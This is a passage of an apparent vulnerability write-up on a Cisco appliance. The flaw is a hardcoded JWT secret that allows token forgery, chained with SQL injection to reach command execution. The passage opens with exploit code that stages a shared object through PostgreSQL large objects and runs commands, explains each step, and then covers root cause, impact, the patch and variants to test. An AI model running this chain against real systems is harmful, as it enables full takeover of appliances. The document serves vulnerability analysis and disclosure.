sqli('INSERT INTO pg_largeobject (loid, pageno, data) VALUES ((SELECT * FROM ' +
loid + '), ' + str(i) + ', (DECODE('' + PG_SYSTEM[i] + '', 'base64')))')
sqli('SELECT lo_export((SELECT * FROM ' + loid + '), '' + shell_path + '')')
sqli('SELECT lo_unlink((SELECT * FROM ' + loid + '))')
sqli('DROP TABLE ' + loid)
time.sleep(5)
sqli('CREATE OR REPLACE FUNCTION pg_system(TEXT) RETURNS INTEGER AS '' +
shell_path + '','pg_system' LANGUAGE C STRICT')
sqli('SELECT pg_system('' + self.command + '')')
return True
Line by line:
loidis a random eight-letter name used as a temporary table name.shell_pathis a random file name under/tmpending in.so, the extension for a shared object.sqli('SELECT lo_create(0) INTO ' + loid)creates a PostgreSQL large object, a way to store a big blob of binary data in the database, and records its identifier in the temporary tableloid.- The
forloop inserts each base64-encoded chunk fromPG_SYSTEMinto thepg_largeobjecttable, page by page.DECODE(..., 'base64')turns the text back into binary. This is how the compiled library gets into the database. sqli('SELECT lo_export(...))writes the large object out to the file system atshell_path. Now the library exists as a real file on the appliance.sqli('SELECT lo_unlink(...))deletes the large object from the database, andsqli('DROP TABLE ' + loid)removes the temporary table. This is tidying up so fewer traces are left.time.sleep(5)waits five seconds for the file operations to settle.sqli('CREATE OR REPLACE FUNCTION pg_system(TEXT) RETURNS INTEGER AS ... LANGUAGE C STRICT')tells PostgreSQL to load the file as a C function calledpg_system. The database will load the shared object and call the function inside it.sqli('SELECT pg_system(...))calls that function with the command supplied on the command line. The function runs the command on the appliance.return Truereports success.
Why this step: the JWT flaw gives admin rights inside the web application, but not a shell on the machine. The SQL injection, reachable with admin rights, is what turns that into command execution.
The cleanup method is a stub that returns True. The trigger method runs login, escalation, command execution and cleanup in order, printing progress and exiting on the first failure.
Root cause
The JWT signing key is a compile-time constant, JWT_SECRET, shared across installations and used directly by decode_token to verify tokens. Because the algorithm is HS256, a symmetric algorithm, knowing the secret is enough to produce valid signatures. The only additional barrier is the fingerprint comparison in validate_input_fingerprint, and that barrier is defeated by reading the fingerprint out of a token issued to a legitimate low-privilege user. The fingerprint mixes in sys_desc and server_session_id, which are unpredictable to an outside attacker, but they are not secret from an authenticated user.
Impact
An attacker who holds any valid low-privilege account can forge a token for any user, including an administrator, and impersonate that user on the target server. Combined with the SQL injection published alongside it, this yields full administrative control and command execution on the appliance. The advisory notes that the two vulnerabilities are independent and that neither is required to exploit the other; the combination is what turns low privileges into full admin access.
Fix
Cisco issued a patch for the vulnerability as part of its patches released on 11 November 2022, documented in the Cisco Security Advisory at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esasmawsa-vulns-YRuSW5mD. The advisory does not describe the contents of the patch.
Variants to test
- Search appliance firmware and back-end code for other constants named like
JWT_SECRET,SECRET_KEYor similar, and check whether they are used with symmetric algorithms such asHS256. A positive result is a token you can sign yourself and have accepted by an endpoint that requires authentication. - Decode tokens issued to a low-privilege account and inspect any claim that looks like a fingerprint or session binding. If the claim contains server-side values, try reproducing it in a forged token for a higher-privileged user. A positive result is a 200 response from an endpoint that should require higher privileges.
- Check whether the same secret is reused across product lines. The advisory gives a different secret for the Email Security Appliance; test whether a token signed with one product's secret is accepted by another. A positive result is cross-product token acceptance.
- Look for endpoints that accept a
jwtTokenheader without a corresponding fingerprint check, for example paths in an open-access list. A positive result is a forged token accepted where the fingerprint claim is absent or ignored.
Glossary
- API: a defined way for one program to talk to another over a network, usually with fixed addresses and data formats.
- Base64: a text encoding that represents binary data using letters, digits and a few symbols; it is reversible by anyone and is not encryption.
- Claim: a field inside a JWT payload, such as the user name or expiry time.
- Cookie: a small piece of data a site stores in your browser to recognise you later; here the word also names a field inside the token that holds a request fingerprint.
- CSRF token: a value added to requests to prove they came from the site's own pages, not from another site.
- CVE: a public identifier for a specific security vulnerability.
- Fingerprint: a value computed from details of a request (host, client, browser, session) and compared on each request to bind a token to its context.
- Hardcoded credential: a password or key written directly into source code, the same on every installation.
- Header: a labelled line attached to an HTTP request or response, such as
User-AgentorjwtToken. - HS256: a symmetric signing method for JWTs where the same secret signs and verifies.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- JSON: a text format for structured data, looking like
{"key": "value"}. - JWT (JSON Web Token): a signed token made of header, payload and signature, used to prove who a request comes from.
- Large object: a PostgreSQL feature for storing large binary blobs inside the database.
- nginx: a web server often used as a reverse proxy in front of application servers.
- Privilege escalation: gaining a higher level of access than you were given, for example from a normal user to an administrator.
- Remote code execution (RCE): running your own commands on a remote machine.
- Reverse proxy: a server that receives requests and forwards them to another server behind it.
- Shared object: a compiled library file (
.soon Linux) that a program can load at runtime. - SQL injection: inserting your own SQL commands into a query through unescaped user input.
- Symmetric algorithm: a cryptographic method where the same key is used to sign and to verify, or to encrypt and decrypt.
- TLS: the encryption layer behind HTTPS; disabling verification means the client stops checking the server's certificate.
- Token: a piece of data proving you have already authenticated, shown on later requests instead of your password.
- Two-factor authentication: asking for a second proof of identity, such as a code from a phone, in addition to a password.